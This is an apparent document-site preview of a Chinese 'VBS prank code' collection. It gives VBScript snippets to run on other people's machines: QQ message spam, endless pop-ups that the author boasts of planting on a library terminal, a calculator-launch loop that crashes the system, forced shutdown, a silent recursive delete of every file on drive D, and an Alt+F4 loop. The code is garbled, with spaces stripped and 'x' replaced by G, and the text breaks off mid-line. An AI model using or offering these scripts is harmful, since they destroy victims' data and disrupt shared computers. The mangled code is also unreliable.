VBS整人代码大全.doc
文本预览下载声明
【MeiWei81-优质实用版文档】
PAGE
【MeiWei81-优质实用版文档】
一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的GG替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可).
GG.vbs=
复制代码代码如下:
OnErrorResumeNeGt
Dimwsh,ye
setwsh=createobject(wscript.shell)
fori=1to10
wscript.sleep700
wsh.AppActivate(与GG聊天中)
wsh.sendKeys^v
wsh.sendKeysi
wsh.sendKeys%s
neGt
wscript.quit
QQ骚扰信息,也可以用在其它程序上。
二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈
do
msgboGYouarefoolish!
loop
三、打开无数个计算器，直到死机
setwsh=createobject(wscript.shell)
do
wsh.runcalc
loop
四、直接关机
dimWSHshell
setWSHshell=wscript.createobject(wscript.shell)
WSHshell.runshutdown-f-s-t00,0,true
五、删除D:\所有文件
dimWSHshell
setWSHshell=wscript.createobject(wscript.shell)
WSHshell.runcmd/cdeld:\G.G/f/q/s,0,true
六、不断弹出窗口
复制代码代码如下:
while(1)
msgboG哈哈你被耍了！
loop
七、不断按下alt+f4（开什么都关闭……）
复制代码代码如下:
dimWSHshell
setWSHshell=wscript.createobject(wscript.shell)
while(1)
WSHshell.SendKeys%{F4}
loop
八、按500次回车
(以上代码在运行者的电脑上显示500个对话框。其中dountils=500，500可以随意更改)
复制代码代码如下:
dims
dountils=500
s=s+1
msgboG哥们，给我按500次回车吧,64
loop
九、关不掉的窗口
复制代码代码如下:
WScript.Echo(嘿，谢谢你打开我哦，我等你很久拉！TSName)
WScript.Echo(你是可爱的小朋吗?)
WScript.Echo(哈,我想你拉，这你都不知道吗？)
WScript.Echo(怎么才来，说~是不是不关心我)
WScript.Echo(哼,我生气拉，等你这么久，心都凉啦。)
WScript.Echo(小强很生气，后果很严重哦。)
WScript.Echo(嘿嘿！你也会很惨滴哦)
WScript.Echo(是不是想清除我？)
WScript.Echo(那你要点上50下哦，不过会给你惊喜滴)
WScript.Echo(还剩49下，快点点哦)
WScript.Echo(还剩48下，快点，小笨蛋！)
WScript.Echo(还剩47下对，就这样快点点！)
WScript.Echo(还剩46下。你啊就是笨，要快哦，我先不打扰你工作。)
WScript.Echo(还剩45下，记得要快哦！)
WScript.Echo(还剩43下)
WScript.Echo(还剩42下)
WScript.Echo(还剩41下)
WScript.Echo(还剩40下)
WScript.Echo(还剩39下)
WScript.Echo(还剩38下)
WScript.Echo(还剩37下)
WScript.Echo(还剩36下)
WScript.Echo(还剩35下)
WScript.Echo(还剩34下)
WScript.Echo(还剩33下)
WScript.Echo(还剩32下)
WScript.Echo(还剩30下)
WScript.Echo(还剩29下)
WScript.Echo(还剩28下)
WScript.Echo(还剩27下)
WScript.Echo(还剩26下)
WScript.Echo(还剩25下)
WScript.Echo(还剩24下)
WScript.Echo(还剩23下)
WScript.Echo(还剩22下)
WScript.Echo(还剩21下)
WScript.Echo(还剩20下)
WScript.Echo(还剩19下)
WScript.Echo(还剩18下)
WScript.Echo(还剩17下)
WScript.Echo(还剩16下)
WScript.Echo(还剩15下)
WScript.Echo(还剩1
显示全部